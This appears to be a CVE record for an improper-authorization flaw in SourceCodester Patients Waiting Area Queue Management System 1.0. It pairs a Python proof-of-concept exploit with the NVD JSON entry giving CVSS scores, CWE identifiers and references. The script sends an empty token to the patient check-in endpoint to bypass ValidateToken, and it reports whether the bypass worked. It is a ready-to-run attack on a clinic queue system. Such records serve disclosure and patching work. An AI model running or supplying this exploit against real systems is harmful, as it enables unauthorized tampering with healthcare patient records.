CVE-2026-4617

import requests def exploit(target_url): """ PoC for CVE-2026-4617 Exploits improper authorization in ValidateToken function. """ # Vulnerable endpoint endpoint = "/php/api_patient_checkin.php" url = f"{target_url}{endpoint}" # Payload to bypass validation # The vulnerability allows manipulation without a valid token data = { "action": "checkin", "token": "", # Sending empty or crafted token to bypass ValidateToken "patient_id": "1" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (CVE-2026-4617 PoC)" } try: response = requests.post(url, data=data, headers=headers, timeout=10) if response.status_code == 200 and "success" in response.text.lower(): print("[+] Exploit successful! Authorization bypassed.") print(f"[+] Response: {response.text}") else: print("[-] Exploit failed or target not vulnerable.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://127.0.0.1" # Replace with actual target exploit(target)

{"cve": {"id": "CVE-2026-4617", "sourceIdentifier": "[email protected]", "published": "2026-03-24T01:17:02.587", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in SourceCodester Patients Waiting Area Queue Management System 1.0. The impacted element is the function ValidateToken of the file /php/api_patient_checkin.php of the component Patient Check-In Module. Executing a manipulation can lead to improper authorization. It is possible to launch the attack remotely. The exploit has been made available to the public and could be used for attacks."}, {"lang": "es", "value": "Se ha identificado una debilidad en SourceCodester Patients Waiting Area Queue Management System 1.0. El elemento afectado es la función ValidateToken del archivo /PHP/api_patient_checkin.php del componente Patient Check-In Module. La ejecución de una manipulación puede llevar a una autorización indebida. Es posible lanzar el ataque de forma remota. El exploit ha sido puesto a disposición del público y podría ser utilizado para ataques."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-266"}, {"lang": "en", "value": "CWE-285"}]}], "references": [{"url": "https://gist.github.com/HxH404/0ab53ccba44456b5400a5908414f5ab1", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.352481", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.352481", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.775747", "source": "[email protected]"}, {"url": "https://www.sourcecodester.com/", "source": "[email protected]"}]}}